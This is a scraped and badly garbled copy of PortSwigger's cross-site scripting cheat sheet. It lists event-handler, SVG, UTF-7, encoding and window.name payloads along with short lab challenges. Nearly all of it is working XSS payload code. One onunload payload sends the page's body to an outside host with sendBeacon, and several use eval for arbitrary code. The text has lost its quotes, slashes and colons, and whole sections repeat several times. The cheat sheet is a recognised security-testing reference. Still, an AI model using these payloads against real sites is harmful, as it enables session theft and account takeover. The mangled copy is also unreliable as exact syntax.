This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
onscroll
Fires when the page scrolls ltbody onscroll=alert(1)gtltdiv style=height1000pxgtltdivgtltdiv id=xgtltdivgtCompatibility
onstart
Fires when the marquee starts ltmarquee onstart=alert(1)gtXSSltmarqueegtCompatibility
ontimeupdate
Fires when the timeline is changed ltaudio controls autoplay ontimeupdate=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
ontoggle
Fires when the details tag is expanded ltdetails ontoggle=alert(1) opengttestltdetailsgtCompatibility
ontransitioncancel
Fires when a CSS transition cancels ltstylegttarget color redltstylegtltxss id=x style=transitioncolor 10s ontransitioncancel=alert(1)gtltxssgt
Compatibility
ontransitionend
Fires when a CSS transition ends ltstylegttarget colorredltstylegtltxss id=x style=transitioncolor 1s ontransitionend=alert(1)gtltxssgt
Compatibility
ontransitionrun
Fires when a CSS transition begins ltstylegttarget transform rotate(180deg)ltstylegtltxss id=x style=transitiontransform 2s ontransitionrun=alert(1)gtltxssgt
Compatibility
ontransitionstart
Fires when a CSS transition starts ltstylegttarget colorredltstylegtltxss id=x style=transitioncolor 1s ontransitionstart=alert(1)gtltxssgt
Compatibility
onunhandledrejection
Fires when a promise isnt handled ltbody onunhandledrejection=alert(1)gtltscriptgtfetch(xyz)ltscriptgtCompatibility
onunload
Fires when the page is unloaded ltbody onunload=navigatorsendBeacon(httpssslportswigger-labsnetdocumentbodyinnerHTML)gt
Compatibility
onwaiting
Fires when while waiting for the data ltvideo autoplay controls onwaiting=alert(1)gtltsource src=validvideomp4 type=videomp4gtltvideogt
Compatibility
onwebkitanimationend
Fires when a CSS animation ends ltstylegtkeyframes xltstylegtltxss style=animation-namex onwebkitanimationend=alert(1)gtltxssgt
Compatibility
onwebkitanimationiteration
Fires when a CSS animation repeats ltstylegtkeyframes slidein ltstylegtltxss style=animation-duration1sanimation-nameslideinanimation-iteration-count2 onwebkitanimationiteration=alert(1)gtltxssgt
Compatibility
onwebkitanimationstart
Fires when a CSS animation starts ltstylegtkeyframes xltstylegtltxss style=animation-namex onwebkitanimationstart=alert(1)gtltxssgt
Compatibility
onwebkittransitionend
Fires when a CSS transition ends ltstylegttarget colorredltstylegtltxss id=x style=transitioncolor 1s onwebkittransitionend=alert(1)gtltxssgt
Compatibility
Event handlers that do require user interaction
Event Description Code
onauxclick
Fires when right clicking or using themiddle button of the mouse
ltinput onauxclick=alert(1)gtCompatibility
onbeforecopy
Requires you copy a piece of text lta onbeforecopy=alert(1) contenteditablegttestltagtCompatibility
onbeforecut
Requires you cut a piece of text lta onbeforecut=alert(1) contenteditablegttestltagtCompatibility
onbeforepaste
Requires you paste a piece of text lta onbeforepaste=alert(1) contenteditablegttestltagtCompatibility
onchange
Requires as change of value ltinput onchange=alert(1) value=xssgtCompatibility
onclick
Requires a click of the element ltxss onclick=alert(1)gttestltxssgtCompatibility
onclose
Fires when a dialog is closed ltdialog open onclose=alert(1)gtltform method=dialoggtltbuttongtXSSltbuttongtltformgt
Compatibility
oncontextmenu
Triggered when right clicking to show thecontext menu
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Event handlers that do require user interaction
Event Description Code
onauxclick
Fires when right clicking or using themiddle button of the mouse
ltinput onauxclick=alert(1)gtCompatibility
onbeforecopy
Requires you copy a piece of text lta onbeforecopy=alert(1) contenteditablegttestltagtCompatibility
onbeforecut
Requires you cut a piece of text lta onbeforecut=alert(1) contenteditablegttestltagtCompatibility
onbeforepaste
Requires you paste a piece of text lta onbeforepaste=alert(1) contenteditablegttestltagtCompatibility
onchange
Requires as change of value ltinput onchange=alert(1) value=xssgtCompatibility
onclick
Requires a click of the element ltxss onclick=alert(1)gttestltxssgtCompatibility
onclose
Fires when a dialog is closed ltdialog open onclose=alert(1)gtltform method=dialoggtltbuttongtXSSltbuttongtltformgt
Compatibility
oncontextmenu
Triggered when right clicking to show thecontext menu
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
ondragover
Triggered dragging over an element ltdiv draggable=true contenteditablegtdrag meltdivgtltxss ondragover=alert(1) contenteditablegtdrop hereltxssgt
Compatibility
ondragstart
Requires a mouse drag ltxss draggable=true ondragstart=alert(1)gttestltxssgtCompatibility
ondrop
Triggered dropping a draggable element ltdiv draggable=true contenteditablegtdrag meltdivgtltxss ondrop=alert(1) contenteditablegtdrop hereltxssgt
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
